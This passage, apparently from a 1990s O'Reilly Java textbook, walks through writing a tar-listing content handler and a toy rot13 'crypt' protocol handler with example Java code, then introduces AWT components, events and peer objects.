Here's the code for the content handler; compile it and place it in the net/www/content/application/ package, somewhere in your class path:

package net.www.content.application;

import java.net.*;
import java.io.*;
import java.util.Date;

public class x_tar extends ContentHandler {
    static int
        RECORDLEN = 512,
        NAMEOFF = 0, NAMELEN = 100,
        SIZEOFF = 124, SIZELEN = 12,
        MTIMEOFF = 136, MTIMELEN = 12;

    public Object getContent(URLConnection uc) throws IOException {
        InputStream is = uc.getInputStream();
        StringBuffer output =
            new StringBuffer( "Tape Archive Listing:\n\n" );
        byte [] header = new byte[RECORDLEN];
        int count = 0;

        while ( (is.read(header) == RECORDLEN) &&
                (header[NAMEOFF] != 0) ) {

            String name =
               new String(header, 0, NAMEOFF, NAMELEN).trim();
            String s = new String(header, 0, SIZEOFF, SIZELEN).trim();
            int size = Integer.parseInt(s, 8);
            s = new String(header, 0, MTIMEOFF, MTIMELEN).trim();
            long l = Integer.parseInt(s, 8);
            Date mtime = new Date( l*1000 );

            output.append( size + " " + mtime + " " + name + "\n" );

            count += is.skip( size ) + RECORDLEN;
            if ( count % RECORDLEN != 0 )
                count += is.skip ( RECORDLEN - count % RECORDLEN);
        }

        if ( count == 0 )
            output.append("Not a valid TAR file\n");

        return( output.toString() );
    }
}

The ContentHandler class

Our x_tar handler is a subclass of the abstract class java.net.ContentHandler. Its job is to implement one method: getContent(), which takes as an argument a special "protocol connection" object and returns a constructed Java Object. The getContent() method of the URL class ultimately uses this getContent() method when we ask for the contents of the URL.

The code looks formidable, but most of it's involved with processing the details of the tar format. If we remove these details, there isn't much left:

public class x_tar extends ContentHandler {

    public Object getContent( URLConnection uc ) throws IOException {
        // get input stream
        InputStream is = uc.getInputStream();

        // read stream and construct object
        // ...

        // return the constructed object
        return( output.toString() );
    }
}

That's really all there is to a content handler; it's relatively simple.

The URLConnection

The java.net.URLConnection object that getContent() receives represents the protocol handler's connection to the remote resource. It provides a number of methods for examining information about the URL resource, such as header and type fields, and for determining the kinds of operations the protocol supports. However, its most important method is getInputStream(), which returns an InputStream from the protocol handler. Reading this InputStream gives you the raw data for the object the URL addresses. In our case, reading the InputStream feeds x_tar the bytes of the tar file it's to process.

Constructing the object

The majority of our getContent() method is devoted to interpreting the stream of bytes of the tar file and building our output object: the String that lists the contents of the tar file. Again, this means that this example involves the particulars of reading tar files, so you shouldn't fret too much about the details.

After requesting an InputStream from the URLConnection, x_tar loops, gathering information about each file. Each archived item is preceded by a header that contains attribute and length fields. x_tar interprets each header and then skips over the remaining portion of the item. It accumulates the results (the file listings) in a StringBuffer. (See Chapter 7, Basic Utility Classes for a discussion of StringBuffer.) For each file, we add a line of text listing the name, modification time, and size. When the listing is complete, getContent() returns the StringBuffer as a String object.

The main while loop continues as long as it's able to read another header record, and as long as the record's "name" field isn't full of ASCII null values. (The tar file format calls for the end of the archive to be padded with an empty header record, although most tar implementations don't seem to do this.) The while loop retrieves the name, size, and modification times as character strings from fields in the header. The most common tar format stores its numeric values in octal, as fixed-length ASCII strings. We extract the strings and use Integer.parseInt() to parse them.

After reading and parsing the header, x_tar skips over the data portion of the file and updates the variable count, which keeps track of the offset into the archive. The two lines following the initial skip account for tar's "blocking" of the data records. In other words, if the data portion of a file doesn't fit precisely into an integral number of blocks of RECORDLEN bytes, tar adds padding to make it fit.

Whew. Well, as I said, the details of parsing tar files are not really our main concern here. But x_tar does illustrate a few tricks of data manipulation in Java.

It may surprise you that we didn't have to provide a constructor; our content handler relies on its default constructor. We don't need to provide a constructor because there isn't anything for it to do. Java doesn't pass the class any argument information when it creates an instance of it. You might suspect that the URLConnection object would be a natural thing to provide at that point. However, when you are calling the constructor of a class that is loaded at run-time, you can't pass it any arguments, as we discussed in Chapter 5, Objects in Java.

Using our new handler

When I began this discussion of content handlers, I showed a brief example of how our x_tar content handler would work for us. We need to make a few brief additions to that code in order to use our new handler and fetch URLs that point to .tar files. Since we're writing a standalone application, we're not only responsible for writing handlers that obey the package/class naming scheme we described earlier; we are also responsible for making our application use the naming scheme.

In a standalone application, the mapping between MIME types and content-handler class names is done by a special java.net.ContentHandlerFactory object we must install. The ContentHandlerFactory accepts a String containing a MIME type and returns the appropriate content handler. It's responsible for implementing the naming convention and creating an instance of our handler. Note that you don't need a content-handler factory if you are writing handlers for use by remote applications; a browser like HotJava, that loads content handlers over the Net, has its own content-handler factory.

To make absolutely clear what's happening, we'll provide a simple factory that knows only about our x_tar handler and install it at the beginning of our application:

import java.net.*;
import java.io.*;

class OurContentHandlerFactory implements ContentHandlerFactory {

    public ContentHandler createContentHandler(String mimetype) {
        if ( mimetype.equalsIgnoreCase( "application/x-tar" ) )
            return new net.www.content.application.x_tar();
        else
            return null;
    }
}

public class TarURLTest {
    public static void main (String [] args) throws Exception {

        URLConnection.setContentHandlerFactory(new
                      OurContentHandlerFactory() );

        URL url = new URL( args[0] );
        String s = (String)url.getContent();
        System.out.println( s );
    }
}

The class OurContentHandlerFactory implements the ContentHandlerFactory interface. It recognizes the MIME-type application/x-tar and returns a new instance of our x_tar handler. TarURLTest uses the static method URLConnection.setContentHandlerFactory() to install our new ContentHandlerFactory. After it's installed, our factory is called every time we retrieve the contents of a URL object. If it returns a null value, Java looks for handlers in a default location.[8]

[8] If we don't install a ContentHandlerFactory (or later, as we'll see a URLStreamHandlerFactory for protocol handlers), Java defaults to searching for a vendor-specific package name. If you have Sun's Java Development Kit, it searches for content handlers in the sun.net.www.content package hierarchy and protocol handler classes in the sun.net.www.protocol package hierarchy.

After installing the factory, TarURLTest reads a URL from the command line, opens that URL, and lists its contents. Now you have a portable tar command that can read its tar files from arbitrary locations on the Net. I'll confess that I was lazy about exception handling in this example. Of course, a real application would need to catch and handle the appropriate exceptions; but we already know how to do that.

A final design note. Our content handler returned the tar listing as a String. I don't want to harp on the point, but this isn't the only option. If we were writing a content handler to work in the context of a Web browser, we might want it to produce some kind of HTML object that might display the listing as hypertext. Again, knowing the right solution requires that we know what kind of object a browser expects to receive, and currently that's undefined.

In the next section, we'll turn the tables and look at protocol handlers. There we'll be building URLConnection objects and someone else will have the pleasure of reconstituting the data.

Previous | Home | Next
Web Browsers and Handlers | Book Index | Writing a Protocol Handler
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 9] 9.6 Writing a Protocol Handler

Previous Chapter 9
Network Programming 		Next

9.6 Writing a Protocol Handler

A URL object uses a protocol handler to establish a connection with a server and perform whatever protocol is necessary to retrieve data. For example, an HTTP protocol handler knows how to talk to an HTTP server and retrieve a document; an FTP protocol handler knows how to talk to an FTP server and retrieve a file. All types of URLs use protocol handlers to access their objects. Even the lowly "file" type URLs use a special "file" protocol handler that retrieves files from the local filesystem. The data a protocol handler retrieves is then fed to an appropriate content handler for interpretation.

While we refer to a protocol handler as a single entity, it really has two parts: a java.net.URLStreamHandler and a java.net.URLConnection. These are both abstract classes we will subclass to create our protocol handler. (Note that these are abstract classes, not interfaces. Although they contain abstract methods we are required to implement, they also contain many utility methods we can use or override.) The URL looks up an appropriate URLStreamHandler, based on the protocol component of the URL. The URLStreamHandler then finishes parsing the URL and creates a URLConnection when it's time to communicate with the server. The URLConnection represents a single connection with a server, and implements the communication protocol itself.

Locating Protocol Handlers

Protocol handlers are organized in a package hierarchy similar to content handlers. Unlike content handlers, which are grouped into packages by the MIME types of the objects that they handle, protocol handlers are given individual packages. Both parts of the protocol handler (the URLStreamHandler class and the URLConnection class) are located in a package named for the protocol they support.

For example, the classes for an FTP protocol handler would be found in the net.www.protocol.ftp package. The URLStreamHandler is placed in this package and given the name Handler; all URLStreamHandlers are named Handler and distinguished by the package in which they reside. The URLConnection portion of the protocol handler is placed in the same package, and can be given any name. There is no need for a naming convention because the corresponding URLStreamHandler is responsible for creating the URLConnection objects it uses. Table 9.2 gives the obvious examples.[9]

[9] The "pre-beta 1" release of HotJava has a temporary solution that is compatible with the convention described here. In the HotJava properties file, add the line: java.protocol.handler.pkgs=net.www.protocol.

Table 9.2: Mapping Protocols into Package and Class Names
Protocol | Package | URLStreamHandler | Handler
 | name | class name | class location
FTP | net.www.protocol.ftp | Handler | net/www/protocol/ftp/
HTTP | net.www.protocol.http | Handler | net/www/protocol/http/

URLs, Stream Handlers, and Connections

The URL, URLStreamHandler, URLConnection, and ContentHandler classes work together closely. Before diving into an example, let's take a step back, look at the parts a little more closely, and see how these things communicate. Figure 9.5 shows how these components relate to each other.

Figure 9.5: The protocol handler machinery

[Graphic: Figure 9-5]

We begin with the URL object, which points to the resource we'd like to retrieve. The URLStreamHandler helps the URL class parse the URL specification string for its particular protocol. For example, consider the following call to the URL constructor:

URL url = new URL("protocol://foo.bar.com/file.ext");

The URL class parses only the protocol component; later, a call to the URL class's getContent() or openStream() method starts the machinery in motion. The URL class locates the appropriate protocol handler by looking in the protocol-package hierarchy. It then creates an instance of the appropriate URLStreamHandler class.

The URLStreamHandler is responsible for parsing the rest of the URL string, including hostname and filename, and possibly an alternative port designation. This allows different protocols to have their own variations on the format of the URL specification string. Note that this step is skipped when a URL is constructed with the "protocol," "host," and "file" components specified explicitly. If the protocol is straightforward, its URLStreamHandler class can let Java do the parsing and accept the default behavior. For this illustration, we'll assume that the URL string requires no special parsing. (If we use a nonstandard URL with a strange format, we're responsible for parsing it ourselves, as I'll show shortly.)

The URL object next invokes the handler's openConnection() method, prompting the handler to create a new URLConnection to the resource. The URLConnection performs whatever communications are necessary to talk to the resource and begins to fetch data for the object. At that time, it also determines the MIME type of the incoming object data and prepares an InputStream to hand to the appropriate content handler. This InputStream must send "pure" data with all traces of the protocol removed.

The URLConnection also locates an appropriate content handler in the content-handler package hierarchy. The URLConnection creates an instance of a content handler; to put the content handler to work, the URLConnection's getContent() method calls the content handler's getContent() method. If this sounds confusing, it is: we have three getContent() methods calling each other in a chain. The newly created ContentHandler object then acquires the stream of incoming data for the object by calling the URLConnection's getInputStream() method. (Recall that we acquired an InputStream in our x_tar content handler.) The content handler reads the stream and constructs an object from the data. This object is then returned up the getContent() chain: from the content handler, the URLConnection, and finally the URL itself. Now our application has the desired object in its greedy little hands.

To summarize, we create a protocol handler by implementing a URLStreamHandler class that creates specialized URLConnection objects to handle our protocol. The URLConnection objects implement the getInputStream() method, which provides data to a content handler for construction of an object. The base URLConnection class implements many of the methods we need; therefore, our URLConnection needs only to provide the methods that generate the data stream and return the MIME type of the object data.

Okay. If you're not thoroughly confused by all that terminology (or even if you are), let's move on to the example. It should help to pin down what all these classes are doing.

The crypt Handler

In this section, we'll build a crypt protocol handler. It parses URLs of the form:

crypt:type//hostname[:port]/location/item

type is an identifier that specifies what kind of encryption to use. The protocol itself is a simplified version of HTTP; we'll implement the GET command and no more. I added the type identifier to the URL to show how to parse a nonstandard URL specification. Once the handler has figured out the encryption type, it dynamically loads a class that implements the chosen encryption algorithm and uses it to retrieve the data. Obviously, we don't have room to implement a full-blown public-key encryption algorithm, so we'll use the rot13InputStream class from Chapter 8, Input/Output Facilities. It should be apparent how the example can be extended by plugging in a more powerful encryption class.

The Encryption class

First, we'll lay out our plug-in encryption class. We'll define an abstract class called CryptInputStream that provides some essentials for our plug-in encrypted protocol. From the CryptInputStream we'll create a subclass, rot13CryptInputStream, that implements our particular kind of encryption:

package net.www.protocol.crypt;
import java.io.*;

abstract class CryptInputStream extends InputStream {
    InputStream in;
    OutputStream talkBack;
    abstract public void set( InputStream in, OutputStream talkBack );
}

class rot13CryptInputStream extends CryptInputStream {

    public void set( InputStream in, OutputStream talkBack ) {
        this.in = new example.io.rot13InputStream( in );
    }
    public int read() throws IOException {
        if ( in == null )
            throw new IOException("No Stream");

        return in.read();
    }
}

Our CryptInputStream class defines a method called set() that passes in the InputStream it's to translate. Our URLConnection calls set() after creating an instance of the encryption class. We need a set() method because we want to load the encryption class dynamically, and we aren't allowed to pass arguments to the constructor of a class when it's dynamically loaded. We ran into this same restriction in our content handler. In the encryption class, we also provide an OutputStream. A more complex kind of encryption might use the OutputStream to transfer public-key information. Needless to say, rot13 doesn't, so we'll ignore the OutputStream here.

The implementation of rot13CryptInputStream is very simple. set() just takes the InputStream it receives and wraps it with the rot13InputStream filter we developed in Chapter 8, Input/Output Facilities. read() reads filtered data from the InputStream, throwing an exception if set() hasn't been called.

The URLStreamHandler

Next we'll build our URLStreamHandler class. The class name is Handler; it extends the abstract URLStreamHandler class. This is the class the Java URL looks up by converting the protocol name (crypt) into a package name (net.www.protocol.crypt). The fully qualified name of this class is net.www.protocol.crypt.Handler:

package net.www.protocol.crypt;

import java.io.*;
import java.net.*;

public class Handler extends URLStreamHandler {
    String cryptype;

    protected void parseURL(URL u, String spec, int start, int end) {
        int slash = spec.indexOf('/');
        cryptype = spec.substring(start, slash);
        start=slash;
        super.parseURL(u, spec, start, end);
    }

    protected URLConnection openConnection(URL url)
       throws IOException {

        return new CryptURLConnection( url, cryptype );
    }
}

Java creates an instance of our URLStreamHandler when we create a URL specifying the crypt protocol. Handler has two jobs: to assist in parsing the URL specification strings and to create CryptURLConnection objects when it's time to open a connection to the host.

Our parseURL() method overrides the parseURL() method in the URLStreamHandler class. It's called whenever the URL constructor sees a URL requesting the crypt protocol. For example:

URL url = new URL("crypt:rot13//foo.bar.com/file.txt");

parseURL() is passed a reference to the URL object, the URL specification string, and starting and ending indexes that shows what portion of the URL string we're expected to parse. The URL class has already identified the protocol name, otherwise it wouldn't have found our protocol handler. Our version of parseURL() retrieves our type identifier from the specification, stores it in the variable cryptype, and then passes the rest on to the superclass's parseURL() method to complete the job. To find the encryption type, take everything between the starting index we were given and the first slash in the URL string. Before calling super.parseURL(), we update the start index, so that it points to the character just after the type specifier. This tells the superclass parseURL() that we've already parsed everything prior to the first slash, and it's responsible for the rest.

Before going on, I'll note two other possibilities. If we hadn't hacked the URL string for our own purposes by adding a type specifier, we'd be dealing with a standard URL specification. In this case, we wouldn't need to override parseURL(); the default implementation would have been sufficient. It could have sliced the URL into host, port, and filename components normally. On the other hand, if we had created a completely bizarre URL format, we would need to parse the entire string. There would be no point calling super.parseURL(); instead, we'd have called the URLStreamHandler's protected method setURL() to pass the URL's components back to the URL object.

The other method in our Handler class is openConnection(). After the URL has been completely parsed, the URL object calls openConnection() to set up the data transfer. openConnection() calls the constructor for our URLConnection with appropriate arguments. In this case, our URLConnection object is named CryptURLConnection, and the constructor requires the URL and the encryption type as arguments. parseURL() picked the encryption type from the URL string and stored it in the cryptype variable. openConnection() returns a reference to our URLConnection, which the URL object uses to drive the rest of the process.

The URLConnection

Finally, we reach the real guts of our protocol handler, the URLConnection class. This is the class that opens the socket, talks to the server on the remote host, and implements the protocol itself. This class doesn't have to be public, so you can put it in the same file as the Handler class we just defined. We call our class Crypt-URLConnection; it extends the abstract URLConnection class. Unlike ContentHandler and StreamURLConnection, whose names are defined by convention, we can call this class anything we want; the only class that needs to know about the URLConnection is the URLStreamHandler, which we wrote ourselves.

class CryptURLConnection extends URLConnection {
    CryptInputStream cis;
    static int defaultPort = 80;

    CryptURLConnection ( URL url, String cryptype )
        throws IOException {
        super( url );
        try {
            String name = "net.www.protocol.crypt." + cryptype
                               + "CryptInputStream";
            cis = (CryptInputStream)Class.forName(name).newInstance();
        }
        catch ( Exception e ) { }
    }

    synchronized public void connect() throws IOException {
        int port;
        if ( cis == null )
            throw new IOException("Crypt Class Not Found");
        if ( (port = url.getPort()) == -1 )
            port = defaultPort;
        Socket s = new Socket( url.getHost(), port );

        // Send the filename in plaintext
        OutputStream server = s.getOutputStream();
        new PrintStream( server ).println( "GET "+url.getFile() );

        // Initialize the CryptInputStream
        cis.set( s.getInputStream(), server );
        connected = true;
    }

    synchronized public InputStream getInputStream()
       throws IOException {
        if (!connected)
            connect();
        return ( cis );
    }

    public String getContentType() {
        return guessContentTypeFromName( url.getFile() );
    }
}

The constructor for our CryptURLConnection class takes as arguments the destination URL and the name of an encryption type. We pass the URL on to the constructor of our superclass, which saves it in a protected url instance variable. We could have saved the URL ourselves, but calling our parent's constructor shields us from possible changes or enhancements to the base class. We use cryptype to construct the name of an encryption class, using the convention that the encryption class is in the same package as the protocol handler (i.e., net.www.protocol.crypt); its name is the encryption type followed by the suffix CryptInputStream.

Once we have a name, we need to create an instance of the encryption class. To do so, we use the static method Class.forName() to turn the name into a Class object and newInstance() to load and instantiate the class. (This is how Java loads the content and protocol handlers themselves.) newInstance() returns an Object; we need to cast it to something more specific before we can work with it. Therefore, we cast it to our CryptInputStream class, the abstract class that rot13CryptInputStream extends. If we implement any additional encryption types as extensions to CryptInputStream and name them appropriately, they will fit into our protocol handler without modification.

We do the rest of our setup in the connect() method of the URLConnection. There, we make sure we have an encryption class and open a Socket to the appropriate port on the remote host. getPort() returns -1 if the URL doesn't specify a port explicitly; in that case we use the default port for an HTTP connection (port 80). We ask for an OutputStream on the socket, assemble a GET command using the getFile() method to discover the filename specified by the URL, and send our request by writing it into the OutputStream. (For convenience, we wrap the OutputStream with a PrintStream and call println() to send the message.) We then initialize the CryptInputStream class by calling its set() method and passing it an InputStream from the Socket and the OutputStream.

The last thing connect() does is set the boolean variable connected to true. connected is a protected variable inherited from the URLConnection class. We need to track the state of our connection because connect() is a public method. It's called by the URLConnection's getInputStream() method, but it could also be called by other classes. Since we don't want to start a connection if one already exists, we use connected to tell us if this is so.

In a more sophisticated protocol handler, connect() would also be responsible for dealing with any protocol headers that come back from the server. In particular, it would probably stash any important information it can deduce from the headers (e.g., MIME type, content length, time stamp) in instance variables, where it's available to other methods. At a minimum, connect() strips the headers from the data so the content handler won't see them. I'm being lazy and assuming that we'll connect to a minimal server, like the modified TinyHttpd daemon I discuss below, which doesn't bother with any headers.

The bulk of the work has been done; a few details remain. The URLConnection's getContent() method needs to figure out which content handler to invoke for this URL. In order to compute the content handler's name, getContent() needs to know the resource's MIME type. To find out, it calls the URLConnection's getContentType() method, which returns the MIME type as a String. Our protocol handler overrides getContentType(), providing our own implementation.

The URLConnection class provides a number of tools to help determine the MIME type. It's possible that the MIME type is conveyed explicitly in a protocol header; in this case, a more sophisticated version of connect() would have stored the MIME type in a convenient location for us. Some servers don't bother to insert the appropriate headers, though, so you can use the method guessContentTypeFromName() to examine filename extensions, like .gif or .html, and map them to MIME types. In the worst case, you can use guessContentTypeFromStream() to intuit the MIME type from the raw data. The Java developers call this method "a disgusting hack" that shouldn't be needed, but that is unfortunately necessary "in a world where HTTP servers lie about content types and extensions are often nonstandard." We'll take the easy way out and use the guessContentTypeFromName() utility of the URLConnection class to determine the MIME type from the filename extension of the URL we are retrieving.

Once the URLConnection has found a content handler, it calls the content handler's getContent() method. The content handler then needs to get an InputStream from which to read the data. To find an InputStream, it calls the URLConnection's getInputStream() method. getInputStream() returns an InputStream from which its caller can read the data after protocol processing is finished. It checks whether a connection is already established; if not, it calls connect() to make the connection. Then it returns a reference to our CryptInputStream.

A final note on getting the content type: if you read the documentation, it's clear that the Java developers had some ideas about how to find the content type. The URLConnection's default getContentType() calls getHeaderField(), which is presumably supposed to extract the named field from the protocol headers (it would probably spit back information connect() had stored in protected variables). The problem is there's no way to implement getHeaderField() if you don't know the protocol, and since the Java developers were designing a general mechanism for working with protocols, they couldn't make any assumptions. Therefore, the default implementation of getHeaderField() returns null; you have to override it to make it do anything interesting. Why wasn't it an abstract method? I can only guess, but making getHeaderField() abstract would have forced everyone building a protocol handler to implement it, whether or not they actually needed it.

The application

We're almost ready to try out a crypt URL! We still need an application (a mini-browser, if you will) to use our protocol handler, and a server to serve data with our protocol. If HotJava were available, we wouldn't need to write the application ourselves; in the meantime, writing this application will teach us a little about how a Java-capable browser works. Our application is similar to the application we wrote to test the x_tar content handler.

Because we're working in a standalone application, we have to tell Java how to find our protocol-handler classes. Java relies on a java.net.URLStreamHandlerFactory object to take a protocol name and return an instance of the appropriate handler. The URLStreamHandlerFactory is very similar to the ContentHandlerFactory we saw earlier. We'll provide a trivial implementation that knows only our particular handler. Again, if we were using our protocol handler with HotJava, this step would not be necessary; HotJava has its own stream-handler factory that tells it where to find handlers. To get HotJava to read files with our new protocol, we'd only have to put our protocol handler in the right place. (Note too, that an applet running in HotJava can use any of the methods in the URL class and therefore can use the content- and protocol-handler mechanism; applets would also rely on HotJava's stream-handler and content-xhandler factories.)

Here's our StreamHandlerFactory and sample application:

import java.net.*;

class OurURLStreamHandlerFactory implements URLStreamHandlerFactory {
    public URLStreamHandler createURLStreamHandler(String protocol) {
        if ( protocol.equalsIgnoreCase("crypt") )
            return new net.www.protocol.crypt.Handler();
        else
            return null;
    }
}

class CryptURLTest {
    public static void main( String argv[] ) throws Exception {

        URL.setURLStreamHandlerFactory(
            new OurURLStreamHandlerFactory());

        URL url = new URL("crypt:rot13//foo.bar.com:1234/myfile.txt");
        System.out.println( url.getContent() );
    }
}

The CryptURLTest class installs our factory and reads a document via the new "crypt:rot13" URL. (In the example, we have assumed that a rot13 server is running on port 1234 on the host foo.bar.com.) When the CryptURLTest application calls the URL's getContent() method, it automatically finds our protocol handler, which decodes the file.

OurURLStreamHandlerFactory is really quite simple. It implements the URLStreamHandlerFactory interface, which requires a single method called createURLStreamHandler(). In our case, this method checks whether the protocol's name is crypt ; if so, the method returns an instance of our encryption protocol handler, net.www.protocol.crypt.Handler. For any other protocol name, it returns null. If we were writing a browser and needed to implement a more general factory, we would compute a class name from the protocol name, check to see if that class exists, and return an instance of that class.

The server

We still need a rot13 server. Since the crypt protocol is nothing more than HTTP with some encryption added, we can make a rot13 server by modifying one line of the TinyHttpd server we developed earlier, so that it spews its files in rot13. Just change the line that reads the data from the file:

f.read( data );

To instead read through a rot13InputStream:

new example.io.rot13InputStream( f ).read( data );

I assume you placed the rot13InputStream example in a package called example.io, and that it's somewhere in your class path. Now recompile and run the server. It automatically encodes the files before sending them; our sample application decodes them on the other end.

I hope that this example and the rest of this chapter have given you some food for thought. Content and protocol handlers are among the most exciting ideas in Java. It's unfortunate that we have to wait for future releases of HotJava and Netscape to take full advantage of them. In the meantime, you can experiment and implement your own applications.

Previous | Home | Next
Writing a Content Handler | Book Index | Understand the Abstract Windowing Toolkit
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] Understand the Abstract Windowing Toolkit

Previous Chapter 10 Next

10. Understand the Abstract Windowing Toolkit

Contents:
GUI Concepts in Java
Applets

The Abstract Windowing Toolkit (AWT), or
"another windowing toolkit," as some people affectionately
call it, provides a large collection of classes for building
graphical user interfaces in Java. With AWT, you can
create windows, draw, work with images, and use components like
buttons, scrollbars, and pull-down menus in a platform independant way.
The java.awt package contains the
AWT GUI classes.
The java.awt.image package provides some additional
tools for working with images.

AWT is the largest and most complicated part of the standard Java
distribution, so it shouldn't be any surprise that we'll take several
chapters (five, to be precise) to discuss it. Here's the lay of the
land:

  • Chapter 10, Understand the Abstract Windowing Toolkit covers the basic concepts
you need to understand how
AWT builds user interfaces.

  • In Chapter 11, Using and Creating GUI Components, we discuss the basic components from which
user interfaces are built: lists, text fields, checkboxes, and so on.

  • Chapter 12, Layout Managers discusses layout managers, which are responsible for
arranging components within a display.

  • Chapter 13, Drawing With the AWT discusses the fundamentals of drawing,
including simple image displays.

  • Chapter 14, Working With Images, the last chapter to discuss the AWT in detail, covers the image
generation and processing tools that are in the
java.awt.image package. We'll throw in
audio for good measure.

We can't cover the full functionality of AWT
in this book; if you want complete coverage, see the Java AWT
Reference (O'Reilly).
Instead,
we'll cover the basics of the tools you are most likely to
use and show some examples of what can be done with some of the more
advanced features. Figure 10.1 shows the user
interface portion of the java.awt package.

Figure 10.1: User-interface classes of the java.awt package

  [Graphic: Figure 10-1]

As its name suggests, AWT is an
abstraction. Its classes and functionality are the same for all Java
implementations, so Java applications built with
AWT should work in the same way on all
platforms.
You could choose to write your code on under Windows NT/95, and then
run it on an X Window System, or a Macintosh.
To achieve platform independence,
AWT uses interchangeable toolkits that interact with the
host windowing system to display user-interface components, thus
shielding your application code from the details of the environment
it's running in. Let's say you ask AWT
to create a button. When your application or applet runs, a toolkit
appropriate to the host environment renders the button appropriately: on
Windows, you can get a button that looks like other Windows
buttons; on a Macintosh, you can get a Mac button; and so on.

Working with user-interface components in AWT is
meant to be easy.  While the low-level (possibly native) GUI
toolkits may be complex, you won't have to work with
them directly unless you want to port AWT to a new
platform or provide an alternative "look and feel" for the
built-in components. When building a user interface for your
application, you'll be working with prefabricated
components. It's easy to assemble a collection of user-interface
components (buttons, text areas, etc.), and arrange them inside
containers to build complex layouts. You can also use simple
components as building blocks for making entirely new kinds of
interface gadgets that are completely portable and reusable.

AWT uses layout managers to arrange components
inside containers and control their sizing and positioning. Layout
managers define a strategy for arranging components instead of relying
on absolute positioning. For example, you can define a user interface
with a collection of buttons and text areas and be reasonably
confident it will always display correctly. It doesn't matter
that Windows, UNIX, and the Macintosh render your
buttons and text areas differently; the layout manager should still position
them sensibly with respect to each other.

Unfortunately, the reality is that most of the complaints about
Java center around
AWT. AWT is very different from
what many people are used to and lacks some of the advanced features other
GUI environments provide (at least for now). It's
also true that most of the bugs in current implementations of Java lie
in the AWT toolkits. As bugs are fixed and
developers become accustomed to AWT, we would expect the
number of complaints to diminish. Java 1.1 is a big improvement over
previous versions. But at the time of this writing, there are
some rough edges.

10.1 GUI Concepts in Java

Chapter 11, Using and Creating GUI Components contains examples using most of the components in the
java.awt package. But before we dive
into those examples, we need to spend a bit of time talking about the
concepts AWT uses for creating and handling
user interfaces. This material should get you up to speed on
GUI concepts and on how they are used in Java.

Components

A component is the fundamental user-interface object in Java.
Everything you see on the display in a Java application is an
AWT component. This includes things like windows,
drawing canvases, buttons, checkboxes, scrollbars, lists, menus, and
text fields. To be used, a component must usually be placed in a
Container. Container objects group components, arrange them for display, and
associate them with a particular display device. All
components are derived from the abstract
java.awt.Component class, as you saw in Figure 10.1. For example, the Button
class is a subclass of the Component class, which
is derived directly from Object.

For the sake of simplicity, we can split the functionality of the
Component class into two categories: appearance and
behavior. The Component class contains methods and
variables that control an object's general appearance. This
includes basic attributes such as whether or not it's visible, its
current size and location, and certain common graphical defaults like
font and color. The Component class also contains
methods implemented by specific subclasses to produce the
actual graphics the object displays. When a component is first
displayed, it's associated with a particular display device. The
Component class encapsulates access to its display
area on that device. This includes methods for accessing graphics and
for working with off-screen drawing buffers for the display.

By a Component's behavior, we usually mean
the way it responds to user-driven events. When the user performs an
action (like pressing the mouse button) within a component's
display area, an AWT thread delivers an event object
that describes "what happened."  The event is delivered to
objects that have registered themselves as "listeners" for that type
of event from that component. For example, when the user clicks on a
button, the button delivers an
ActionEvent. To receive those events, an
object registers with the button as an
ActionListener.

Events are delivered by invoking designated event-handler methods within
the receiving object (the "listener").  Objects prepare themselves to
receive events by
implementing methods for the types of events in which they are interested
and then registering as listeners with the sources of the events.
There are specific types of events that cover different categories of
component and user interaction.
For example, MouseEvents describe
activities of the mouse within a component's
area, KeyEvents describe key presses, and
functionally higher level events
such as ActionEvents indicate that a user
interface component has done its job.

Although events are crucial to the workings of AWT, they aren't
limited to building user interfaces. Events are an important interobject
communications mechanism that may be used by completely nongraphical
parts of an application as well. They are particularly important in
the context of Java Beans, which use events as an extremely general
notification mechanism.  We will
describe events thoroughly in this chapter because they are so fundamental
to the way in which user interfaces function in Java, but it's good to
keep the bigger picture in mind.

Containers often take on certain responsibilities for the components
that they hold.  Instead of having every component handle events for its
own bit of the user interface, a container may register itself or another
object to receive the events for its child components, and "glue"
those events to the correct application logic.

A component informs its container when it does something that might affect
other components in the container, such as changing
its size or visibility.  The container can then tell the layout manager that
it is time to rearrange the child components.

Containers in Java are themselves a kind of component. Because all
components share this structure, container objects can manage and
arrange Component objects without knowing what they
are and what they are doing. Components can be swapped and replaced
with new versions easily and combined into composite user-interface
objects that can be treated as individual components. This lends
itself well to building larger, reusable user-interface items.

Peers

We have just described a nice system in which components govern their
own appearance, and events are delivered to objects that are "listening"
to those components.  Unfortunately, getting data
out to a display medium and receiving events from input devices
involve crossing the line from Java to the real world. The real world
is a nasty place full of architecture dependence, local peculiarities,
and strange physical devices like mice, trackballs, and '69 Buicks.

At some level, our components will have to talk to
objects that contain native methods to interact with the host
operating environment. To keep this interaction as clean and well-defined
as possible, Java uses a set of peer
interfaces. The peer interface makes it possible for a pure Java-language
AWT component to use a corresponding real
component--the peer object--in the native environment.
You won't generally deal directly with peer interfaces or
the objects behind them; peer handling is encapsulated within
the Component class. It's important to understand
the architecture, though, because it imposes some limitations on what you
can do with components.

For example, when a component such as a
Button is first created and displayed on the
screen, code in the Component class asks an
AWT Toolkit class to create a
corresponding peer object, as shown in Figure 10.2. The Toolkit is a
factory that knows how to create objects in
the native display system; Java uses this factory design pattern
to provide an abstraction that separates the implementation of component
objects from their functionality.
The Toolkit object contains methods
for making instances of each type of component peer. (As a developer,
you will probably never work with a native user-interface
directly.) Toolkits can be swapped and
replaced to provide new implementations of the components without
affecting the rest of Java.

Figure 10.2: A toolkit creating a peer object

  [Graphic: Figure 10-2]

Figure 10.2 shows a
Toolkit producing a peer object for a
Button. When you add a button to a container, the
container calls the Button's
addNotify() method. In turn,
addNotify() calls the
Toolkit's createButton()
method to make the Button's peer object in
the real display system. Thereafter, the component class keeps a
reference to the peer object and delegates calls to its methods.

The java.awt.peer package, shown in Figure 10.3, parallels the java.awt
package and contains an interface for each type of component. For
example, the Button component has a
ButtonPeer interface, which defines the
capabilities of a button.

Figure 10.3: The java.awt.peer package

  [Graphic: Figure 10-3]

The peer objects themselves can be built in whatever way is
necessary, using a combination of Java and native code. (We will discuss
the implementation of peers a bit more in the AWT performance section of this
chapter.)
A Java-land button doesn't know or care how the real-world button
is implemented or what additional capabilities it may have; it knows
only about the existence of the methods defined in the
ButtonPeer interface. Figure 10.4 shows a call to the
setLabel() method of a Button
object, which results in a call to the corresponding
setLabel() method of the native button object.

Figure 10.4: Invoking a method in the peer interface

  [Graphic: Figure 10-4]

